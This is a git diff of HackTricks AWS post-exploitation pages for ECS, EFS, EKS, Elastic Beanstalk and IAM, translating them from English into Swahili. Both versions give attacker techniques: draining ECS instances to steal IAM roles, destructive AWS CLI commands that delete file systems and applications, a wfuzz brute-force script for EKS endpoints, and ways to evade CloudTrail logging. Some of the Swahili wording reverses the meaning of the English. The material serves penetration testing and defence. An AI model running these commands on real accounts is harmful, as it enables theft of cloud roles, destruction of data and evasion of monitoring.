kuhusu jinsi ya kupata akreditivu hizo angalia: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance. ### Privesc to node to steal other containers creds & secrets -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kuchukua IAM roles** zao zilizounganishwa. #### Making containers run in current host -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. - +Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** za kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **aondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kuchukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +Ile ile mbinu inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inawezekana kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Njia ya mwisho ya kulazimisha utekelezaji wa kazi tena ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### Pora taarifa nyeti kutoka kwa kontena za ECR -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +Kesi ya EC2 huenda pia ikawa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..bd5c37851 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -4,7 +4,7 @@ ## EFS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Mshambuliaji anaweza kufuta lengo la kuunganisha, ambayo inaweza kuathiri upatikanaji wa mfumo wa faili wa EFS kwa programu na watumiaji wanaotegemea lengo hilo la kuunganisha. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Madhara Yanayoweza Kutokea**: Kuathiriwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Mshambuliaji anaweza kufuta mfumo mzima wa faili wa EFS, ambayo inaweza kusababisha kupoteza data na kuathiri programu zinazotegemea mfumo wa faili. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Madhara Yanayoweza Kutokea**: Kupoteza data na usumbufu wa huduma kwa programu zinazotumia mfumo wa faili uliofutwa. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Mshambuliaji anaweza kuboresha mali za mfumo wa faili wa EFS, kama vile njia ya kupitia, ili kuathiri utendaji wake au kusababisha ukosefu wa rasilimali. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au matumizi ya rasilimali kupita kiasi. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` na `elasticfilesystem:DeleteAccessPoint` +Mshambuliaji anaweza kuunda au kufuta maeneo ya ufikiaji, kubadilisha udhibiti wa ufikiaji na huenda akajipatia ufikiaji usioidhinishwa kwenye mfumo wa faili. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..afb262e12 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,101 @@ ## EKS -For mor information check +Kwa maelezo zaidi angalia {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Tambua klasta kutoka kwa AWS Console -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Jifunze zaidi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### Unganisha na AWS Kubernetes Cluster +- Njia rahisi: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- Si rahisi sana: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Ikiwa unaweza **kupata token** kwa **`aws eks get-token --name `** lakini huna ruhusa ya kupata taarifa za klasta (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuungana** (ikiwa umeweza kupata token ya JWT kutoka kwa pod soma [hapa](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la klasta**. +Katika kesi yangu, sikuweza kupata taarifa katika CloudWatch logs, lakini **nilipata katika LaunchTemplates userData** na katika **mashine za EC2 katika userData pia**. Unaweza kuona taarifa hii katika **userData** kwa urahisi, kwa mfano katika mfano ufuatao (jina la klasta lilikuwa cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
kube config - ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### Kutoka AWS hadi Kubernetes -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la kubernetes **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +Njia ya kutoa **ufikiaji kwa K8s kwa watumiaji au majukumu mengine ya AWS IAM** ni kutumia **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuathiri kundi zima**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kuitumia** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitishaji IAM -> Kubernetes unavyofanya kazi**. -### From Kubernetes to AWS +### Kutoka Kubernetes hadi AWS -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Inawezekana kuruhusu **uthibitishaji wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwapa uwezo wa kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi kwenye ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### PATA Api Server Endpoint kutoka kwa JWT Token +Kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Kujua kwamba muundo wa kawaida wa URL ya EKS ni ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +Haukuweza kupata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu naona zinajirudia hizi: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +Hata hivyo ni herufi 3 tu tunaweza kuzishambulia kwa nguvu. Tumia skripti iliyo hapa chini kwa ajili ya kuunda orodha ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Kisha na wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> Kumbuka kubadilisha & . -### Bypass CloudTrail +### Kupita CloudTrail -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Ikiwa mshambuliaji anapata akreditivu za AWS zenye **idhini juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Hivyo, wakati mshambuliaji anazungumza na klasta ya EKS, **cloudtrail haitarekodi chochote kinachohusiana na mtumiaji aliyeibiwa na kuingia**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizowezeshwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa). ### EKS Ransom? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +Kwa kawaida, **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na mamlaka ya usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" AWS itakuwa nao juu ya klasta ya Kubernetes. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amefanya nyara klasta**~~**r**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Kumbuka kwamba ikiwa klasta ilikuwa ikitumia **EC2 VMs**, inaweza kuwa inawezekana kupata mamlaka ya Usimamizi kutoka kwa **Node** na kurejesha klasta. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> Kwa kweli, ikiwa klasta inatumia Fargate unaweza EC2 nodes au kuhamasisha kila kitu kwenda EC2 kwenye klasta na kuirejesha kwa kufikia token katika node. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..6fc3a2b7e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information: +Kwa maelezo zaidi: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplicationVersion` anaweza **kufuta toleo la programu lililopo**. Kitendo hiki kinaweza kuharibu mipango ya usambazaji wa programu au kusababisha kupotea kwa toleo maalum la programu ikiwa hakijahifadhiwa. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa usambazaji wa programu na kupoteza kwa matoleo ya programu. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza kwa data ikiwa mazingira hayajawekwa kwa ajili ya nakala za akiba. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na usumbufu wa huduma. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa cha rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na toleo za programu, na kusababisha usumbufu wa huduma na kupoteza data inayoweza kutokea. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +Mshambuliaji mwenye ruhusa ya `elasticbeanstalk:SwapEnvironmentCNAMEs` anaweza **kubadilisha rekodi za CNAME za mazingira mawili ya Elastic Beanstalk**, ambayo inaweza kusababisha toleo sahihi la programu kutolewa kwa watumiaji au kusababisha tabia isiyokusudiwa. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Madhara Yanayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +Mshambuliaji mwenye ruhusa za `elasticbeanstalk:AddTags` na `elasticbeanstalk:RemoveTags` anaweza **kuongeza au kuondoa lebo kwenye rasilimali za Elastic Beanstalk**. Kitendo hiki kinaweza kusababisha mgawanyiko usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Madhara Yanayoweza Kutokea**: Usambazaji usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali kutokana na lebo zilizoongezwa au kuondolewa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..74576a7f1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,104 +4,90 @@ ## IAM -For more information about IAM access: +Kwa maelezo zaidi kuhusu ufikiaji wa IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy 